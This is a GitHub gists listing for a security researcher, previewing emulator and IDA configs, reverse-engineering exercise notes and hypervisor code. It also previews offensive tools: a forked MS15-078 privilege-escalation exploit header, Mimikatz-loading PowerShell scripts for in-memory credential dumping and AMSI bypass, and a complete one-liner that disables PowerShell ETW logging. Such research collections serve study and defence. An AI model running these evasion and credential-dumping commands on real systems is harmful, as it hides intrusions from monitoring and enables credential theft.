tandasat’s gists

tandasat / bochsrc2.4.6.bxrc

Created November 3, 2014 01:41

	# configuration file generated by Bochs
	plugin_ctrl: unmapped=1, biosdev=1, speaker=1, extfpuirq=1, gameport=1, pci_ide=1, acpi=1, ioapic=1
	config_interface: win32config
	display_library: win32, options="gui_debug"
	memory: host=1024, guest=1024
	romimage: file="C:\Program Files (x86)\Bochs-2.4.6\BIOS-bochs-latest"
	vgaromimage: file="C:\Program Files (x86)\Bochs-2.4.6\VGABIOS-lgpl-latest"
	boot: cdrom, disk
	floppy_bootsig_check: disabled=0
	# no floppya

tandasat / run.bat

Created November 3, 2014 02:45

	set TARGET_BXRC=bochsrc2.4.6
	set BXSHARE=C:\Program Files (x86)\Bochs-2.4.6
	set IDABASE=C:\Program Files (x86)\IDA

	"%IDABASE%\idaq.exe" -c -A -OIDAPython:mbr.py %TARGET_BXRC%.bxrc
	"%IDABASE%\idaq.exe" -rbochs %TARGET_BXRC%.idb

tandasat / ch1_answers.c

Created November 19, 2014 03:31

Answers of exercises in Practical Reverse Engineering Chapter 1

tandasat / ch3_answers.c

Created November 21, 2014 17:20

(Suspended) Answers of exercises in Practical Reverse Engineering Chapter 3

	Susupended because of other project.

	///////////////////////////////////////////////////////////////////////////////
	//
	// p123
	//

	I used Windows 8 kernel version 16628.

	//////////////////////////////// 1-6

tandasat / elevator.c

Created April 27, 2016 11:48 — forked from sh1n0b1/elevator.c

Windows Open Type ‘atmfd.dll’ Privilege Escalation MS15-078

	#include <stdio.h>
	#include <string.h>
	#include "lib.h"
	#include <Wininet.h>
	//#include "starter.h"

	//include OTF
	#include "font.h" // foofont is fetched from loader config struct

	//#include "cert.h"

tandasat / Invoke-Mimikidz

Last active August 31, 2018 18:35

This file has been truncated, but you can view the full file.

	function Invoke-Mimikidz
	{
	<#
	.SYNOPSIS

	This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
	dump credentials without ever writing the mimikatz binary to disk.
	The script has a ComputerName parameter which allows it to be executed against multiple computers.

	This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

tandasat / KillETW.ps1

Last active March 20, 2025 18:34

Disable ETW of the current PowerShell session

	#
	# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
	# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
	# to bypass Suspicious ScriptBlock Logging for readability.
	#
	[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

tandasat / Invoke-BypassingMimikatz.ps1

Last active April 11, 2019 22:21

Bypass AMSI With a Null Character : http://standa-note.blogspot.ca/2018/02/amsi-bypass-with-null-character.html

	#
	function Invoke-Mimikatz
	{
	<#
	.SYNOPSIS

	This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
	dump credentials without ever writing the mimikatz binary to disk.
	The script has a ComputerName parameter which allows it to be executed against multiple computers.

tandasat / GuestAgent.c

Created July 26, 2020 19:32

	/*!
	@file GuestAgent.c

	@brief GuestAgent code.

	@author Satoshi Tanda

	@copyright Copyright (c) 2020 - , Satoshi Tanda. All rights reserved.
	*/
	#include "GuestAgent.h"

tandasat / CheckGuestVmcsFieldsForVmEntry.c

Last active March 29, 2025 09:50

Simulation of checks performed as per 26.3 CHECKING AND LOADING GUEST STATE

	/**
	* @file CheckGuestVmcsFieldsForVmEntry.c
	* @author Satoshi Tanda ([email protected])
	* @brief Checks validity of the guest VMCS fields for VM-entry as per
	* 26.3 CHECKING AND LOADING GUEST STATE
	* @version 0.1
	* @date 2021-02-20
	*
	* @details This file implements part of checks performed by a processor during
	* VM-entry as CheckGuestVmcsFieldsForVmEntry(). This can be called on VM-exit

Satoshi Tanda tandasat